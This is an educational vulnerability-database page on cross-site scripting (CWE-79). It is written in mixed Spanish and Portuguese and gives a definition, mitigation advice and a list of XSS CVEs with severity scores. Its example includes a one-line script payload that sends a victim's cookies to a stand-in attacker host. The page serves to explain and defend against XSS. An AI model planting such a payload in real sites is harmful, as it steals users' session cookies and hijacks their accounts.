Fallos del tipo CWE-79

30.666 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2022-29927MEDIUMIn JetBrains TeamCity before 2022.04 reflected XSS on the Build Chain Status page was possibleEPSS 1.6%CVE-2019-0047HIGHJunos OS: Persistent XSS vulnerability in J-WebEPSS 1.6%CVE-2020-1760MEDIUMA flaw was found in the Ceph Object Gateway, where it supports request sent by an anonymous user in Amazon S3. This flaw could lead to potenEPSS 1.6%CVE-2020-1673HIGHJunos OS: Reflected Cross-site Scripting vulnerability in J-Web and web based (HTTP/HTTPS) servicesEPSS 1.6%CVE-2023-41176MEDIUMReflected cross-site scripting (XSS) vulnerabilities in Trend Micro Mobile Security (Enterprise) could allow an exploit against an authenticEPSS 1.6%CVE-2023-41178MEDIUMReflected cross-site scripting (XSS) vulnerabilities in Trend Micro Mobile Security (Enterprise) could allow an exploit against an authenticEPSS 1.6%CVE-2020-0694MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web requesEPSS 1.6%CVE-2020-0795MEDIUMThis vulnerability is caused when SharePoint Server does not properly sanitize a specially crafted request to an affected SharePoint server.EPSS 1.5%CVE-2020-11082MEDIUMCross-Site Scripting in KaminariEPSS 1.5%CVE-2021-24522—ProfilePress < 3.1.11 - Unauthenticated Cross-Site Scripting (XSS) in tabbed login/register widgetEPSS 1.5%CVE-2023-48082CRITICALNagios XI before 2024R1 was discovered to improperly handle API keys generation (randomly-generated), allowing attackers to possibly generatEPSS 1.5%CVE-2023-27905CRITICALJenkins update-center2 3.13 and 3.14 renders the required Jenkins core version on plugin download index pages without sanitization, resultinEPSS 1.5%CVE-2021-32641HIGHReflected XSS when using flashMessagesEPSS 1.5%CVE-2022-1173HIGHstored xss in getgrav/gravEPSS 1.5%CVE-2011-3344MEDIUMSpacewalk: spacewalk: cross-site scripting via uri in lookup login/password formEPSS 1.5%CVE-2023-0676LOWCross-site Scripting (XSS) - Reflected in phpipam/phpipamEPSS 1.5%CVE-2021-24834—YOP Poll < 6.3.1 - Author+ Stored Cross-Site Scripting via Options ModuleEPSS 1.5%CVE-2018-7512—A cross-site scripting vulnerability has been identified in Geutebruck G-Cam/EFD-2250 Version 1.12.0.4 and Topline TopFD-2125 Version 3.15.1EPSS 1.5%CVE-2020-1298MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web requesEPSS 1.5%CVE-2020-11025MEDIUMAuthenticated cross-site scripting (XSS) in WordPress CustomizerEPSS 1.5%